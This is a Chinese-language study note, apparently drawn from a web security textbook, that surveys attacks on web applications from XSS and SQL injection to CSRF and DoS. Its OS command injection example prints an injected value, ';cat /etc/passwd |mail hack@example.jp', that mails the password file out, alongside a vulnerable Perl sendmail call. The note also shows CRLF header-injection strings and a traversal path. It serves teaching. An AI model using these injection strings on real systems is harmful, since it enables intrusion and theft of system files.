针对Web应用的攻击模式
- 主动攻击
- 被动攻击
以服务器为目标的主动攻击
指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式,由于该模式是直接针对服务器的资源进行攻击的,因此攻击者需要能访问到那些资源,主动攻击模式里具有代表性的攻击时SQL注入攻击和OS命令注入攻击
以服务器为目标的被动攻击
被动攻击利用圈套策略执行攻击代码的攻击模式。攻击者不直接对目标Web应用访问攻击
跨站脚本攻击(XSS)
是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击,动态创建的HTML部分可能隐藏着安全漏洞,就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,就会受到被动攻击
跨站脚本攻击可能造成的影响
- 利用虚假输入的表单骗取用户个人信息
- 利用脚本窃取用户的COOkie值,被害者在不知情的情况下帮助攻击者发送请求
- 显示伪造的文章或图片
eg:
在网站地址朗中URI测查询字段ID即相当于在表单内自动填写字符串的功能,写入:
对用户Cookie的窃取
SQL注入攻击
会执行非法SQL的SQL注入攻击
造成影响:
- 非法查看或篡改数据库内的数据
- 规避认证
- 执行和数据库服务业务关联的程序等
eg:
某购物网站可将坐着名字作为搜索关键字查找他的所有著作
结果跟flag=1的设定值无关,只取出author=”上野宣”,这样未出版的书籍也一并显示
OS命令注入攻击
指通过Web应用,执行非法的操作系统命令达到攻击的目的,只要在能调用Shell函数的地方就有存在被攻击的风险。
可以从Web应用中通过Shell来调用操作系统命令,倘若调用Shell时存在疏漏,就可以执行非法的OS命令。OS命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令行启动程序。
eg:
咨询表单的发送功能,将用户的咨询邮件按已填写对方的邮箱地址发送过去。
1 | my $adr= $q->param('mailaddress'); |
程序中的open函数会调用sendmail命令发送邮件,而制定邮件发送地址是$adr,攻击者把下面的值制定为邮件地址
1 | ;cat /etc/passwd |mail hack@example.jp |
程序接收到该值后构成以下组合:
1 | open(MAIL,"| /usr/sbin/sendmail;cat /etc/passwd | mail hack@example.jp |
“;”在OS命令中会被解析为分割多个执行命令的标记,因此sendmail会将含有Linux账户信息/etc/passwd的文件以邮件形式发送给hack@example.jp。
HTTP首部注入攻击
值攻击者通过在响应首部字段内插入换行,添加任意响应首部或主题的一种攻击,属于被动攻击模式。向首部主题内添加内容的攻击称为HTTP响应阶段攻击。
HTTP首部注入攻击有可能会造成以下影响:
- 设置任何Cookie信息
- 重定向至任意URL
- 显示任意的主体(HTTP响应阶段攻击)
此刻,Set-Cookie生效,攻击者可指定修改任意Cookie信息,通过和绘画固定攻击组合,攻击者可伪装成用户
攻击者输入%0D%0A变成换行符,结果插入了新的首部字段。
HTTP响应截断攻击
HTTP响应截断攻击是用在HTTP首部注入的一种攻击,攻击顺序相同,但是要将两个%0D%0A%0D%0A并排插入字符串后发送,利用这两个连续的换行可作出HTTP首部和主体分割所需的空行,这样就能显示伪造的主体,达到攻击目的。
利这种攻击,已触发陷阱的用户浏览器会显示伪造的WEB页面,再让用户输入自己的个人信息,达到和XSS攻击相同效果
邮件首部注入攻击
攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件。
邮件地址:
%0D%0A 代表一个换行符,可以实现邮件地址的追加
%0D%0A%0D%0A代表两个连续的换行符,可以篡改邮件文本内容
目录遍历攻击:
对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击
用户可使用.…/等相对路径定位到/etc/passed等绝对路径上
例:
远程文件包含漏洞
当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
例:
开放重定向
是指对指定的任意URL左重定向跳转功能,而与此功能先关联的安全漏洞是指,加入指定的重定向URL到某个具有恶意的Web网站,那么用户就会被诱导到那个网站,有可能被攻击者选中并作为钓鱼攻击的跳板
因会话管理疏忽引发漏洞
会话劫持:攻击者通过某种手段拿到用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击目的。
会话
会话固定攻击
对以窃取目标会话ID为主动攻击手段的会话劫持,会话固定攻击会强制用户使用攻击者指定额会话ID
例子:
跨站点请求伪造(CSRF)
是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
可能造成的影响:
- 利用已通过认证的用户权限更新设定信息等
- 利用已通过认证的用户权限购买商品
- 利用已通过认证的用户权限在留言板发表言论
例子:
DOS攻击
是一种让运行中的服务呈停止状态的攻击,有时也叫停止攻击或拒绝服务攻击,DoS攻击的对象不仅限于Web网站,还包括网络设备及服务器。
主要有两种DOS攻击方式:
- 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈现停止状态。
- 通过攻击安全漏洞使服务停止
集中利用访问请求,就是发送大量的合法请求,服务器很难分辨何为正常请求,何为攻击请求,因此很难防止DOS攻击。
多台计算机发起的DOS攻击称为DDOS攻击,DDOS攻击通常利用那些感染病毒的极端及作为攻击者的攻击跳板